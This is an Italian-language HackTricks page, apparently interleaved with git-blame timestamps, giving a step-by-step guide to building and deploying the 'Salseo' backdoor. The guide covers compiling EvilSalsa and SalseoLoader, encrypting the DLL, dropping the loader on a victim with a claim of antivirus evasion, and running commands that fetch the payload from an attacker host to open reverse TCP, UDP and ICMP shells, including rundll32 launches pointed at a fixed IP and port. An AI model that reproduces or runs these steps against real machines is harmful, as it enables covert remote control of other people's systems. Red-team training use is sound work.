2024-04-06 18:35:30 +00:00
# Salseo
2024-07-18 22:12:19 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)** ](https://training.hacktricks.xyz/courses/arte )< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line"> ](https://training.hacktricks.xyz/courses/grte )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
< details >
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
< summary > Support HackTricks< / summary >
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
2024-04-06 18:35:30 +00:00
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-18 22:12:19 +00:00
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos su github.
2024-04-06 18:35:30 +00:00
< / details >
2024-07-18 22:12:19 +00:00
{% endhint %}
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
## Compiling the binaries
2024-04-06 18:35:30 +00:00
Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader** . Avrai bisogno di **Visual Studio** installato per compilare il codice.
2024-07-18 22:12:19 +00:00
Compila questi progetti per l'architettura della macchina Windows dove intendi usarli (Se Windows supporta x64, compilali per quell'architettura).
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build" a sinistra** in ** "Platform Target".**
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
(\*\*Se non riesci a trovare queste opzioni, premi su ** "Project Tab"** e poi su ** "\<Project Name> Properties"**)
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 839 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Poi, costruisci entrambi i progetti (Build -> Build Solution) (All'interno dei log apparirà il percorso dell'eseguibile):
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 381 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
## Prepare the Backdoor
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi usare lo script python **encrypterassembly.py** oppure puoi compilare il progetto **EncrypterAssembly** :
2024-04-06 18:35:30 +00:00
### **Python**
```
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
2024-07-18 22:12:19 +00:00
Ok, ora hai tutto ciò di cui hai bisogno per eseguire tutto il Salseo: il **EvilDalsa.dll codificato** e il **binario di SalseoLoader.**
2024-04-06 18:35:30 +00:00
**Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbero essere rilevati da alcun AV...**
## **Esegui il backdoor**
2024-07-18 22:12:19 +00:00
### **Ottenere una shell inversa TCP (scaricando dll codificata tramite HTTP)**
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire l'evilsalsa codificato.
2024-04-06 18:35:30 +00:00
```
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
```
2024-07-18 22:12:19 +00:00
### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)**
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificato (impacket-smbserver).
2024-04-06 18:35:30 +00:00
```
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2024-07-18 22:12:19 +00:00
### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)**
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
**Questa volta hai bisogno di uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2024-04-06 18:35:30 +00:00
#### **Disabilita le risposte ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Esegui il client:
```
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2024-07-18 22:12:19 +00:00
#### All'interno della vittima, eseguiamo la cosa salseo:
2024-04-06 18:35:30 +00:00
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2024-07-18 22:12:19 +00:00
## Compilare SalseoLoader come DLL esportando la funzione principale
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Apri il progetto SalseoLoader utilizzando Visual Studio.
2024-04-06 18:35:30 +00:00
### Aggiungi prima della funzione principale: \[DllExport]
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 409 ) . png > )
2024-04-06 18:35:30 +00:00
### Installa DllExport per questo progetto
2024-07-18 22:12:19 +00:00
#### **Strumenti** --> **Gestore pacchetti NuGet** --> **Gestisci pacchetti NuGet per la soluzione...**
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 881 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
#### **Cerca il pacchetto DllExport (utilizzando la scheda Sfoglia) e premi Installa (e accetta il popup)**
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 100 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Nella tua cartella di progetto sono apparsi i file: **DllExport.bat** e **DllExport\_Configure.bat**
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
### **Dis**installa DllExport
2024-04-06 18:35:30 +00:00
Premi **Disinstalla** (sì, è strano ma fidati, è necessario)
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 97 ) . png > )
2024-04-06 18:35:30 +00:00
### **Esci da Visual Studio ed esegui DllExport\_configure**
2024-07-18 22:12:19 +00:00
Basta **uscire** da Visual Studio
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Poi, vai nella tua **cartella SalseoLoader** ed **esegui DllExport\_Configure.bat**
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Seleziona **x64** (se intendi usarlo all'interno di una macchina x64, questo era il mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport** ) e premi **Applica**
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 882 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
### **Apri di nuovo il progetto con Visual Studio**
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
**\[DllExport]** non dovrebbe più essere contrassegnato come errore
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 670 ) . png > )
2024-04-06 18:35:30 +00:00
### Compila la soluzione
Seleziona **Tipo di output = Libreria di classi** (Progetto --> Proprietà SalseoLoader --> Applicazione --> Tipo di output = Libreria di classi)
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 847 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compila --> Target piattaforma = x64)
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . gitbook / assets / image ( 285 ) . png > )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Per **compilare** la soluzione: Compila --> Compila soluzione (All'interno della console di output apparirà il percorso della nuova DLL)
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
### Testa la DLL generata
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Copia e incolla la DLL dove vuoi testarla.
2024-04-06 18:35:30 +00:00
Esegui:
```
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 22:12:19 +00:00
Se non appare alcun errore, probabilmente hai un DLL funzionante!!
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
## Ottieni una shell usando il DLL
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
Non dimenticare di usare un **server** **HTTP** e impostare un **listener** **nc**
2024-04-06 18:35:30 +00:00
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 22:12:19 +00:00
{% hint style="success" %}
Impara e pratica il hacking AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)** ](https://training.hacktricks.xyz/courses/arte )< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Impara e pratica il hacking GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line"> ](https://training.hacktricks.xyz/courses/grte )
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
< details >
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
< summary > Supporta HackTricks< / summary >
2024-04-06 18:35:30 +00:00
2024-07-18 22:12:19 +00:00
* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
2024-04-06 18:35:30 +00:00
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-18 22:12:19 +00:00
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos su github.
2024-04-06 18:35:30 +00:00
< / details >
2024-07-18 22:12:19 +00:00
{% endhint %}